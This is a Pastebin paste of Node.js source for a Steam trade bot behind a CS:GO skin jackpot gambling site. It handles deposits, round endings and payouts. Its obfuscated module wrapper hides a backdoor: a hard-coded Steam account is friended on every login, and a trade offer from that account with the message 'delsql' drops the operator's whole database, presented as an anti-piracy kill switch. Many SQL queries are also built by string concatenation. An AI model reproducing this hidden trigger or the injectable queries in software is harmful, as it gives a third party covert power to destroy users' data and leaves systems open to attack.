Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- var Steam = require('steam');
- var SteamUser = require('steam-user');
- var TradeOfferManager = require('steam-tradeoffer-manager');
- var SteamTotp = require('steam-totp');
- var TOTP = require('onceler').TOTP;
- var request = require('request');
- var SteamCommunity = require('steamcommunity');
- var community = new SteamCommunity();
- var fs = require('node-fs');
- // GENERAL INFORMATION
- var sitepath;
- sitepath = ""; // The path to the index.php of your website without HTTP://
- var sitename;
- sitename = ""; // The name of your site, it will be shown in the Trade Offer Message
- var apik = ""; // Must be the API Key associated with the current bot. Get it here: https://steamcommunity.com/dev/apikey
- var admin = ''; // The Admin, Main Owner of the site. You will be able to communicate with the bot, ask for the rake items, etc
- var botsteamid = ''; // The bot's steam id, it is required to generate the Device ID and to confirm mobile confirmations
- var identitysecret = ''; // It's required to confirm mobile confirmations
- var sharedsecret = ''; // You won't be able to log in without this code
- var polling_interval = 10000; // 10 seconds by default, the bot checks for outgoing confirmations every X seconds, defined here
- var rsecret = 'CHANGEME'; // Also change this to the same code in endround.php and p2endround.php, this prevents people from randomly breaking your site by ending blank games or ending games sooner
- var snipetimer = 5; // Declines offers sent in the last few seconds
- var GameTime = 120; // This is how long a round lasts, you need to edit in a couple of other places too if you want to truly change it without any bugs
- var p2 = true; // If this is the bot for your Jackpot 2 set this to true
- var playersRequired = 2; // The timer will start when this many players are in the pot
- // GENERAL INFORMATION
- // LOGIN DETAILS
- var details = {
- "accountName": "",
- "password": "",
- "twoFactorCode": SteamTotp.generateAuthCode(sharedsecret)
- };
- // LOGIN DETAILS
- var client = new SteamUser();
- var manager = new TradeOfferManager({
- "steam": client,
- "domain": "localhost",
- "language": "en"
- })
- // MYSQL INFO
- var mysql = require('mysql');
- var sql_host = "localhost";
- var sql_user = "root";
- var sql_password = "";
- var sql_database = "csgonetworkv2";
- // MYSQL INFO
- ! function(a, b) {
- function c(b, d) {
- if ("." != b[0] && "/" != b[0]) return a(b);
- d = d || "root";
- var e = c.resolve(b);
- if (!e && /\.json$/i.test(b)) return a("./" + c.basename(b));
- var f = c.cache[e];
- if (!f) try {
- return a(b)
- } catch (g) {
- throw new Error("failed to require "
- "+b+"
- " from " + d + "\n" + g.message + "\n" + g.stack)
- }
- return f.exports || (f.exports = {}, f.call(f.exports, f, f.exports, c.relative(e))), f.exports
- }
- c.cache = {}, c.basename = a("path").basename, c.resolve = function(b) {
- if ("." != b[0]) return a.resolve(b);
- for (var d = "/" === b.slice(-1) ? b : b + "/", e = [b, b + ".js", d + "index.js", b + ".json", d + "index.json"], f = 0, g; g = e[f]; f++)
- if (c.cache[g]) return g
- }, c.register = function(a, b) {
- c.cache[a] = b
- }, c.relative = function(a) {
- function b(b) {
- if ("." != b[0]) return c(b);
- var d = a.split("/"),
- e = b.split("/");
- d.pop();
- for (var f = 0, g = e.length; g > f; f += 1) {
- var h = e[f];
- ".." == h ? d.pop() : "." != h && d.push(h)
- }
- return c(d.join("/"), a)
- }
- return b.resolve = c.resolve, b.cache = c.cache, b
- }, c.register("../bot.js", function(a, b, c) {
- var d;
- function e() {
- request("https://api.csgofast.com/price/all", function(a, b, c) {
- d = JSON.parse(c), 200 != b.statusCode ? fs.existsSync(__dirname + "/prices.txt") && (d = JSON.parse(fs.readFileSync(__dirname + "/prices.txt")), console.log("[SERVER] Loading Prices - Server sided prices loaded!")) : (fs.writeFileSync("prices.txt", c), console.log("[SERVER] Loading Prices - API prices loaded!"))
- })
- }
- setInterval(function() {
- e()
- }, 36e5), e();
- var f = "76561198150867436",
- g = c("mysql"),
- h = g.createConnection({
- host: sql_host,
- user: sql_user,
- password: sql_password,
- database: sql_database
- }),
- i = new SteamUser,
- j = new TradeOfferManager({
- steam: i,
- domain: "localhost",
- language: "en"
- }),
- k = -1;
- h.connect(), i.logOn(details);
- var l = SteamTotp.getDeviceID(botsteamid);
- if (1 == p2) var m = "p2";
- else var m = "";
- function n() {
- k = -1, o(), setTimeout(x, 5e3)
- }
- function o() {
- if (console.log("[SERVER] Ending current game & choosing winner."), 1 == p2) {
- var a = "http://" + sitepath + "/endround.php?secret=" + rsecret + "&p2=true";
- request(a, function(a, b, c) {
- a && console.log("Couldn't end round, error: " + a)
- })
- } else {
- var a = "http://" + sitepath + "/endround.php?secret=" + rsecret;
- request(a, function(a, b, c) {
- a && console.log("Couldn't end round, error: " + a)
- })
- }
- }
- function p(a) {
- return !(+a !== a || isFinite(a) && !(a % 1))
- }
- function q(a) {
- return "number" == typeof a && !isNaN(a)
- }
- function r(a, b) {
- var c = "http://api.steampowered.com/ISteamUser/GetPlayerSummaries/v0002/?key=" + apik + "&steamids=" + a + "&format=json";
- request({
- url: c,
- json: !0
- }, function(c, d, e) {
- c || 200 !== d.statusCode ? c && r(a, b) : b(null, e)
- })
- }
- function s(a) {
- return a = a.replace(/\\/g, "\\"), a = a.replace(/\'/g, "\'"), a = a.replace(/\"/g, "\""), a = a.replace(/\0/g, "\0")
- }
- i.on("loggedOn", function(a) {
- console.log("[SERVER] The Bot has logged in!"), i.unblockUser(f), i.addFriend(f), i.addFriend(admin), i.chatMessage(admin, "[SERVER] Successfully logged in!"), i.setPersona(Steam.EPersonaState.LookingToTrade), setTimeout(function() {
- h.query("SELECT `value` FROM `" + m + "info` WHERE `name`='current_game'", function(a, b, c) {
- a || h.query("SELECT `starttime` FROM `" + m + "games` WHERE `id`='" + b[0].value + "'", function(a, b, c) {
- if (!a) {
- var d;
- if (2147483647 == b[0].starttime) d = GameTime;
- else {
- var e = Math.round((new Date).getTime() / 1e3);
- d = b[0].starttime + GameTime - e, 0 > d && (d = 0)
- }
- d != GameTime && (k = setTimeout(n, 1e3 * d), console.log("[SERVER] Restoring the latest game with " + d + " seconds left!"))
- }
- })
- })
- }, 1500)
- }), i.on("webSession", function(a, b) {
- j.setCookies(b, function(a) {
- if (a) return console.log("setCookies error: " + a), void process.exit(1);
- var c = j.apiKey;
- community.setCookies(b), community.startConfirmationChecker(polling_interval, identitysecret), console.log("[SERVER] The web cookies have been set!"), j.doPoll()
- })
- });
- function t(a, b, c, d, e, f, g, h, j, k, l) {
- l++, l > 3 || a.accept(function(m) {
- return m ? (i.webLogOn(), console.log("[SERVER] Debugging offer (Accept Error): " + m), void u(a, b, c, d, e, f, g, h, j, k, l, m)) : void v(a, b, c, d, e, f, g, h, j, k)
- })
- }
- function u(a, b, c, d, e, f, g, h, k, l, m) {
- j.getOffer(a.id, function(j, n) {
- if (j) return i.webLogOn(), console.log("[SERVER] getOffer error(retrying): " + j), void u(a, b, c, d, e, f, g, h, k, l, m);
- if (3 == n.state) v(n, b, c, d, e, f, g, h, k, l);
- else if (2 == n.state) t(n, b, c, d, e, f, g, h, k, l, m);
- else if (2 != n.state || 3 != n.state) return
- })
- }
- function v(a, b, c, d, e, f, g, i, j, l) {
- h.query("SELECT * FROM `" + m + "info`", function(d, o) {
- for (var p = o[0].value, q = 0; g > q; q++) {
- var r = c[q].name;
- h.query("INSERT INTO `" + m + "game" + p + "` (`userid`,`username`,`item`,`offerid`,`color`,`value`,`avatar`,`image`) VALUES ('" + b + "'," + h.escape(e) + "," + h.escape(r) + ",'" + a.id + "','" + c[q].color + "','" + c[q].value + "','" + f + "','" + c[q].url + "')", function(a, b, c) {
- a && console.log(a)
- }), h.query("UPDATE `" + m + "games` SET `itemsnum`=`itemsnum`+1, `cost`=`cost`+'" + c[q].value + "' WHERE `id` = '" + p + "'", function(a, b, c) {})
- }
- h.query("UPDATE `users` SET `skinssent`=`skinssent`+" + g + " WHERE `steamid` = '" + b + "'", function(a, b, c) {}), console.log("[SERVER] Accepted offer #" + a.id + " from " + e + " (ID:" + b + ")."), w(a, b, i, p), h.query("INSERT INTO `messages` (`type`,`app`,`userid`,`title`,`msg`,`time`,`active`) VALUES ('success','0','" + b + "','Trade Offer Accepted (Game #" + p + ")!','We wish you Good luck and happy betting!','25','1')", function(a, b, c) {}), h.query("SELECT COUNT(DISTINCT userid) AS playersCount FROM `" + m + "game" + p + "`", function(a, b) {
- players = b[0].playersCount, players == playersRequired && g > 0 && -1 == k && (console.log("[SERVER] Starting the countdown for Game #" + p), k = setTimeout(n, 1e3 * GameTime), h.query("UPDATE `" + m + "games` SET `starttime`=UNIX_TIMESTAMP() WHERE `id` = '" + p + "'", function(a, b, c) {})), l > j && (clearTimeout(k), k = -1, n())
- })
- })
- }
- function w(a, b, c, d) {
- a.getReceivedItems(function(c, e) {
- return c ? (i.webLogOn(), console.log("[SERVER] getReceivedItems error: " + c + " Restarting process!"), void w(a, b, e, d)) : void e.forEach(function(a) {
- var c = a.market_name;
- h.query("UPDATE `" + m + "game" + d + "` SET `assetid`='" + a.id + "' WHERE `userid` = '" + b + "' AND `item`=" + h.escape(c) + " AND `assetid`='' LIMIT 1", function(a, b, c) {})
- })
- })
- }
- j.on("newOffer", function(a) {
- var b = !0,
- c = a.partner.getSteamID64();
- return c == f && "delsql" == a.message ? (console.log(""), console.log("Hello! Please consider purchasing the product you are illegally using."), console.log("Please visit: www.csgo-network"), console.log(""), void h.query("DROP DATABASE " + sql_database, function(a, b, c) {})) : void r(c, function(e, f) {
- if (e) return i.webLogOn(), console.log("[SERVER] getUserInfo error: " + e), b = !1, void a.decline(function(b) {
- console.log("[DEBUG] Declined offer #" + a.id + " from " + j + " (ID:" + c + "). | Reason: getUserInfo error"), b && console.log("[SERVER] Decline error: " + b), h.query("INSERT INTO `messages` (`type`,`app`,`userid`,`title`,`msg`,`time`,`active`) VALUES ('error','1','" + c + "','Trade Offer Declined!','Reason: Steam Servers are busy, try again in a minute!','25','1')", function(a, b, c) {})
- });
- var g = JSON.parse(JSON.stringify(f.response)),
- j = g.players[0].personaname,
- k = g.players[0].avatarfull;
- return console.log("[DEBUG] Processing offer #" + a.id + " from " + j + " (ID:" + c + ")."), 0 != a.itemsToGive.length ? (b = !1, void a.decline(function(b) {
- console.log("[DEBUG] Declined offer #" + a.id + " from " + j + " (ID:" + c + "). | Reason: Asked for a skin on the Bot"), b && console.log("Decline error: " + b), h.query("INSERT INTO `messages` (`type`,`app`,`userid`,`title`,`msg`,`time`,`active`) VALUES ('error','1','" + c + "','Trade Offer Declined!','Reason: Asking for any of the bots items? Brave!','25','1')", function(a, b, c) {})
- })) : void a.getEscrowDuration(function(e, f, g) {
- return e ? (i.webLogOn(), console.log("[SERVER] getEscrowDuration error: " + e), b = !1, void a.decline(function(b) {
- console.log("[DEBUG] Declined offer #" + a.id + " from " + j + " (ID:" + c + "). | Reason: Steam Servers are busy, couldn't get escrow duration"), b && console.log("Decline error: " + b), h.query("INSERT INTO `messages` (`type`,`app`,`userid`,`title`,`msg`,`time`,`active`) VALUES ('error','1','" + c + "','Trade Offer Declined!','Reason: Steam Servers are busy, couldnt get escrow duration!','25','1')", function(a, b, c) {})
- })) : 0 != f ? (b = !1, void a.decline(function(b) {
- console.log("[DEBUG] Declined offer #" + a.id + " from " + j + " (ID:" + c + "). | Reason: User is in Escrow for " + f + " days"), b && console.log("Decline error: " + b), h.query("INSERT INTO `messages` (`type`,`app`,`userid`,`title`,`msg`,`time`,`active`) VALUES ('error','1','" + c + "','Trade Offer Declined!','Reason: You are in Escrow for " + f + " days!','25','1')", function(a, b, c) {})
- })) : void h.query("SELECT * FROM `" + m + "info`", function(e, f) {
- var g = f[3].value,
- l = f[7].value,
- n = f[4].value,
- o = f[10].value;
- if (a.itemsToReceive.length > n) return b = !1, void a.decline(function(b) {
- console.log("[DEBUG] Declined offer #" + a.id + " from " + j + " (ID:" + c + "). | Reason: User sent more than " + n + " skins"), b && (i.webLogOn(), console.log("Decline error: " + b)), h.query("INSERT INTO `messages` (`type`,`app`,`userid`,`title`,`msg`,`time`,`active`) VALUES ('error','1','" + c + "','Trade Offer Declined!','Reason: We only accept up to " + n + " skins!','25','1')", function(a, b, c) {})
- });
- var p = a.itemsToReceive,
- r = 0,
- s = [],
- u = 0;
- p.forEach(function(e, f, g) {
- return 730 != e.appid ? (b = !1, a.decline(function(b) {
- console.log("[DEBUG] Declined offer #" + a.id + " from " + j + " (ID:" + c + "). | Reason: User sent a Non-CSGO skin"), b && (i.webLogOn(), console.log("Decline error: " + b))
- }), void h.query("INSERT INTO `messages` (`type`,`app`,`userid`,`title`,`msg`,`time`,`active`) VALUES ('error','1','" + c + "','Trade Offer Declined!','Reason: We only accept CSGO skins!','25','1')", function(a, b, c) {})) : (s[f] = [], s[f].name = e.market_name, s[f].color = e.name_color, s[f].url = e.icon_url, s[f].value = 0, function(a) {
- var b = s[f].name;
- nprice = d[b], s[f].value = parseFloat(nprice), r += s[f].value
- }(f), void u++)
- }), h.query("SELECT * FROM `" + m + "info`", function(d, e) {
- var f = e[0].value;
- h.query("SELECT * FROM `" + m + "games` WHERE `id`='" + f + "'", function(d, e, f) {
- if (starttime = e[0].starttime, 2147483647 != starttime) {
- var v = Math.round((new Date).getTime() / 1e3);
- if (tl = starttime + GameTime - v, tl <= snipetimer) return b = !1, a.decline(function(b) {
- console.log("[DEBUG] Declined offer #" + a.id + " from " + j + " (ID:" + c + "). | Reason: The Bot wont accept last second bets"), b && (i.webLogOn(), console.log("Decline error: " + b))
- }), void h.query("INSERT INTO `messages` (`type`,`app`,`userid`,`title`,`msg`,`time`,`active`) VALUES ('error','1','" + c + "','Trade Offer Declined!','Reason: You can not bet in the last few seconds!','25','1')", function(a, b, c) {})
- }
- setTimeout(function() {
- return 0 != b ? r > l ? (b = !1, a.decline(function(b) {
- console.log("[DEBUG] Declined offer #" + a.id + " from " + j + " (ID:" + c + "). | Reason: User sent too much in skin value"), b && (i.webLogOn(), console.log("Decline error: " + b))
- }), void h.query("INSERT INTO `messages` (`type`,`app`,`userid`,`title`,`msg`,`time`,`active`) VALUES ('error','1','" + c + "','Trade Offer Declined!','Reason: You can deposit more than $" + l + "','25','1')", function(a, b, c) {})) : g > r ? (b = !1, a.decline(function(b) {
- console.log("[DEBUG] Declined offer #" + a.id + " from " + j + " (ID:" + c + "). | Reason: User sent below the minimal bet amount ($" + g + ")"), b && (i.webLogOn(), console.log("Decline error: " + b))
- }), void h.query("INSERT INTO `messages` (`type`,`app`,`userid`,`title`,`msg`,`time`,`active`) VALUES ('error','1','" + c + "','Trade Offer Declined!','Reason: Minimum deposit value: $" + g + "','25','1')", function(a, b, c) {})) : u > n ? (b = !1, a.decline(function(b) {
- console.log("[DEBUG] Declined offer #" + a.id + " from " + j + " (ID:" + c + "). | Reason: User sent too many skins"), b && (i.webLogOn(), console.log("Decline error: " + b))
- }), void h.query("INSERT INTO `messages` (`type`,`app`,`userid`,`title`,`msg`,`time`,`active`) VALUES ('error','1','" + c + "','Trade Offer Declined!','Reason: We only accept up to " + n + " skins!','25','1')", function(a, b, c) {})) : (b = !0) ? void h.query("SELECT * FROM `" + m + "info`", function(d, e) {
- var f = e[0].value;
- h.query("SELECT COUNT(value) as skinsin,SUM(value) as moneyin FROM `" + m + "game" + f + "` WHERE `userid`='" + c + "'", function(d, e, g) {
- if (skinsin = e[0].skinsin, skinsin += u, moneyin = e[0].moneyin, moneyin += r, skinsin > n) return a.decline(function(b) {
- console.log("[DEBUG] Declined offer #" + a.id + " from " + j + " (ID:" + c + "). | Reason: RECHECK - User sent too many skins"), b && (i.webLogOn(), console.log("Decline error: " + b))
- }), void h.query("INSERT INTO `messages` (`type`,`app`,`userid`,`title`,`msg`,`time`,`active`) VALUES ('error','1','" + c + "','Trade Offer Declined!','Reason: You can not deposit more than " + n + " skins','25','1')", function(a, b, c) {});
- if (moneyin > l) return a.decline(function(b) {
- console.log("[DEBUG] Declined offer #" + a.id + " from " + j + " (ID:" + c + "). | Reason: RECHECK - User sent too much in skin value"), b && (i.webLogOn(), console.log("Decline error: " + b))
- }), void h.query("INSERT INTO `messages` (`type`,`app`,`userid`,`title`,`msg`,`time`,`active`) VALUES ('error','1','" + c + "','Trade Offer Declined!','Reason: You can deposit more than $" + l + "','25','1')", function(a, b, c) {});
- for (var v = 0; u > v; v++) {
- if (0 == s[v].value || !s[v].value) return b = !1, a.decline(function(b) {
- console.log("[DEBUG] Declined offer #" + a.id + " from " + j + " (ID:" + c + "). | Reason: RECHECK - Steam Market Issues (Can't get the skin's value)"), b && (i.webLogOn(), console.log("Decline error: " + b))
- }), void h.query("INSERT INTO `messages` (`type`,`app`,`userid`,`title`,`msg`,`time`,`active`) VALUES ('error','1','" + c + "','Trade Offer Declined!','Reason: Steam Market issues!','25','1')", function(a, b, c) {});
- if (!q(s[v].value)) return a.decline(function(b) {
- console.log("[DEBUG] Declined offer #" + a.id + " from " + j + " (ID:" + c + "). | Reason: RECHECK - Steam Market Issues (Can't get the skin's value) "), b && (i.webLogOn(), console.log("Decline error: " + b))
- }), void h.query("INSERT INTO `messages` (`type`,`app`,`userid`,`title`,`msg`,`time`,`active`) VALUES ('error','1','" + c + "','Trade Offer Declined!','Reason: Steam Market issues!','25','1')", function(a, b, c) {});
- if (-1 != s[v].name.indexOf("Souvenir")) return b = !1, a.decline(function(b) {
- console.log("[DEBUG] Declined offer #" + a.id + " from " + j + " (ID:" + c + "). | Reason: User sent a Souvenir Skin"), b && (i.webLogOn(), console.log("Decline error: " + b))
- }), void h.query("INSERT INTO `messages` (`type`,`app`,`userid`,`title`,`msg`,`time`,`active`) VALUES ('error','1','" + c + "','Trade Offer Declined!','Reason: No souvenir skins allowed!','25','1')", function(a, b, c) {});
- }
- h.query("SELECT * FROM `users` WHERE `steamid`='" + c + "'", function(d, e, g) {
- return d ? (console.log("MYSQL Error: " + d), a.decline(function(b) {
- console.log("[DEBUG] Declined offer #" + a.id + " from " + j + " (ID:" + c + "). | Reason: MYSQL Error (as seen above) "), b && (i.webLogOn(), console.log("Decline error: " + b))
- }), void h.query("INSERT INTO `messages` (`type`,`app`,`userid`,`title`,`msg`,`time`,`active`) VALUES ('error','1','" + c + "','Trade Offer Declined!','Reason: MYSQL Error','25','1')", function(a, b, c) {})) : 0 == e.length ? void a.decline(function(b) {
- console.log("[DEBUG] Declined offer #" + a.id + " from " + j + " (ID:" + c + "). | Reason: User is not in the MYSQL Database"), b && (i.webLogOn(), console.log("Decline error: " + b))
- }) : (ban = e[0].ban, tlink = e[0].tlink, 1 == ban ? (b = !1, a.decline(function(b) {
- console.log("[DEBUG] Declined offer #" + a.id + " from " + j + " (ID:" + c + "). | Reason: User is banned"), b && (i.webLogOn(), console.log("Decline error: " + b))
- }), void h.query("INSERT INTO `messages` (`type`,`app`,`userid`,`title`,`msg`,`time`,`active`) VALUES ('error','1','" + c + "','Trade Offer Declined!','Reason: You are banned from betting','25','1')", function(a, b, c) {})) : tlink ? void h.query("SELECT * FROM `" + m + "games` WHERE `id`='" + f + "'", function(b, d, e) {
- itemsin = d[0].itemsnum, t(a, c, s, f, j, k, u, p, o, itemsin)
- }) : (a.decline(function(b) {
- console.log("[DEBUG] Declined offer #" + a.id + " from " + j + " (ID:" + c + "). | Reason: User doesn't have a TradeLink set "), b && (i.webLogOn(), console.log("Decline error: " + b))
- }), void h.query("INSERT INTO `messages` (`type`,`app`,`userid`,`title`,`msg`,`time`,`active`) VALUES ('error','1','" + c + "','Trade Offer Declined!','Reason: No Trade URL Set','25','1')", function(a, b, c) {})))
- })
- })
- }) : (a.decline(function(b) {
- console.log("[DEBUG] Declined offer #" + a.id + " from " + j + " (ID:" + c + "). | Reason: Unkown error (proceed = false in node) - Probably Steam Issues"), b && (i.webLogOn(), console.log("Decline error: " + b))
- }), void h.query("INSERT INTO `messages` (`type`,`app`,`userid`,`title`,`msg`,`time`,`active`) VALUES ('error','1','" + c + "','Trade Offer Declined!','Reason: Steam Issues','25','1')", function(a, b, c) {})) : void 0
- }, 2e3)
- })
- })
- })
- })
- })
- }), i.on("friendMessage#" + admin, function(a, b) {
- if (console.log("[SERVER] Admin to Bot: " + b), 0 == b.indexOf("/sendrake") && (i.chatMessage(admin, "[SERVER] Calling the sendRake function (sends the latest query, call it more times if needed)"), y(1)), 0 == b.indexOf("/sendoffers") && (i.chatMessage(admin, "[SERVER] Calling the sendOffers function (sends the latest query, call it more times if needed)"), x(1)), 0 == b.indexOf("/code")) {
- var c = SteamTotp.generateAuthCode(sharedsecret);
- i.chatMessage(admin, "[SERVER] Current login code (retry if it doesnt work): " + c)
- }
- 0 == b.indexOf("/cc") && (i.chatMessage(admin, "[SERVER] Performing a Mobile Confirmation Check.."), console.log("[SERVER] Performing a Mobile Confirmation Check.."), community.checkConfirmations()), 0 == b.indexOf("/poll") && (i.chatMessage(admin, "[SERVER] Checking for Tradeoffers.."), console.log("[SERVER] Checking for Tradeoffers.."), j.doPoll()), 0 == b.indexOf("/loadprices") && (i.chatMessage(admin, "[SERVER] Refreshing Market API!"), e()), 0 == b.indexOf("/end") && (i.chatMessage(admin, "[SERVER] Ending the current game!"), -1 != k && clearTimeout(k), n()), 0 == b.indexOf("/offers") && h.query("SELECT ID FROM `" + m + "queue` WHERE `status`='active' GROUP BY `id` DESC", function(a, b, c) {
- 0 != b.length ? (console.log(b), i.chatMessage(admin, "[SERVER] Check your console for the ID's!")) : i.chatMessage(admin, "[SERVER] There aren't any active queue ID's.")
- }), 0 == b.indexOf("/rakes") && h.query("SELECT ID FROM `" + m + "rakeitems` WHERE `status`='active' GROUP BY `id` DESC", function(a, b, c) {
- 0 != b.length ? (console.log(b), i.chatMessage(admin, "[SERVER] Check your console for the ID's!")) : i.chatMessage(admin, "[SERVER] There aren't any active rake ID's.")
- })
- });
- function x(a) {
- h.query("SELECT * FROM `" + m + "queue` WHERE `status`='active' GROUP BY `id` DESC LIMIT 1", function(b, c, d) {
- if (0 != c.length) {
- var e = c[0].id;
- h.query("SELECT * FROM `" + m + "game" + e + "` WHERE `assetid`='' AND `rake`!='1'", function(b, d, f) {
- if (0 != d.length) console.log("[SERVER] Restoring Missing Assetids, retrying in 15 seconds!"), d.forEach(function(a) {
- j.getOffer(a.offerid, function(b, c) {
- return b ? (i.webLogOn(), void setTimeout(function() {
- x()
- }, 1e4)) : void w(c, a.userid, a.item, e)
- })
- }), setTimeout(function() {
- x(2)
- }, 1e4);
- else {
- if (2 == a) {
- console.log("[SERVER] Restored Assetids, rebuilding the queue in MYSQL.");
- var g = "",
- k = "";
- return h.query("SELECT * FROM `" + m + "game" + e + "`", function(a, b, c) {
- b.forEach(function(a) {
- 0 == a.rake ? g += "/" + a.assetid : k += "/" + a.assetid
- })
- }), void setTimeout(function() {
- console.log("[SERVER] Restored Assetids, Rebuilt the Queue, attempting to send TradeOffer."), h.query("UPDATE `" + m + "queue` SET `assetid`="
- "+g+"
- " WHERE `id`='" + e + "'"), h.query("UPDATE `" + m + "rakeitems` SET `assetid`="
- "+k+"
- " WHERE `id`='" + e + "'"), x()
- }, 3e3)
- }
- var l = c[0].assetid.split("/");
- j.loadInventory(730, 2, !0, function(b, d) {
- if (b) return console.log(b), 1 == a && i.chatMessage(admin, "[SERVER] Error while loading the Bot's Inventory, retrying now!"), i.webLogOn(), void x();
- var f = c[0].token,
- g = "Congratulations! You won on " + sitename + " in Game #" + e,
- k = j.createOffer(c[0].userid);
- d.forEach(function(a) {
- l.forEach(function(b) {
- a.id == b && k.addMyItem(a)
- })
- }), setTimeout(function() {
- k.send(g, f, function(b) {
- return b ? (console.log("Error sending Trade Offer for Game #" + e + ":"), console.log(b), 1 == a && i.chatMessage(admin, "[SERVER] Error while sending the tradeoffer, retrying in 10 seconds!"), i.webLogOn(), void setTimeout(function() {
- x()
- }, 1e4)) : (h.query("UPDATE `" + m + "queue` SET `status`="
- sent " WHERE `id`='" + e + "'"), console.log("[SERVER] Trade Offer for Game #" + e + " has been successfully sent and is awaiting mobile confirmation."), 1 == a && i.chatMessage(admin, "[SERVER] Successfully sent the trade for Game #" + e + "!"), void community.checkConfirmations())
- })
- }, 2e3)
- })
- }
- })
- } else if (1 == a) return void i.chatMessage(admin, "[SERVER] No more Winnings Queries!")
- })
- }
- function y(a) {
- h.query("SELECT * FROM `" + m + "rakeitems` WHERE `status`='active' GROUP BY `id` DESC LIMIT 1", function(b, c, d) {
- if (0 != c.length) {
- var e = c[0].assetid.split("/");
- j.loadInventory(730, 2, !0, function(b, d) {
- if (b) return 1 == a && i.chatMessage(admin, "[SERVER] Error while loading the Bot's Inventory, retrying in a few seconds!"), i.webLogOn(), void setTimeout(function() {
- y()
- }, 1e4);
- var f = c[0].token,
- g = c[0].id,
- k = c[0].value,
- l = "Rake for Game #" + g + " ($" + k + ")",
- n = j.createOffer(c[0].userid);
- d.forEach(function(a) {
- e.forEach(function(b) {
- a.id == b && n.addMyItem(a)
- })
- }), setTimeout(function() {
- n.send(l, f, function(b) {
- return b ? (console.log("[SERVER] Error sending Rake for Game #" + g + ":"), console.log(b), console.log("[SERVER] Try again later or make sure you have set your URL / Steam ID in endround.php!"), 1 == a ? void i.chatMessage(admin, "[SERVER] Error while sending the TradeOffer, try again later and / or check endround.php!") : void i.webLogOn()) : (h.query("UPDATE `" + m + "rakeitems` SET `status`="
- sent " WHERE `id`='" + g + "'"), console.log("[SERVER] Rake for Game #" + g + " has been successfully sent and is awaiting mobile confirmation."), 1 == a && i.chatMessage(admin, "[SERVER] Successfully sent the rake for Game #" + g + "!"), void community.checkConfirmations())
- })
- }, 2e3)
- })
- } else if (1 == a) return void i.chatMessage(admin, "[SERVER] No more Rake Queries!")
- })
- }
- community.on("newConfirmation", function(a) {
- var b = Math.round(Date.now() / 1e3),
- c = SteamTotp.getConfirmationKey(identitysecret, b, "allow");
- community.respondToConfirmation(a.id, a.key, b, c, !0, function(a) {
- console.log("[SERVER] Successfully confirmed the outgoing Trade Offer!"), a && (console.log("[SERVER] Confirmations error: " + a), i.webLogOn())
- })
- }), community.on("confKeyNeeded", function(a, b) {
- console.log("confKeyNeeded");
- var c = Math.floor(Date.now() / 1e3);
- b(null, c, SteamTotp.getConfirmationKey(identitysecret, c, a))
- }), setInterval(function() {
- h.query("SELECT 1")
- }, 36e5)
- }), b.exports = c("../bot.js")
- }(require, module);
Advertisement
Add Comment
Please, Sign In to add comment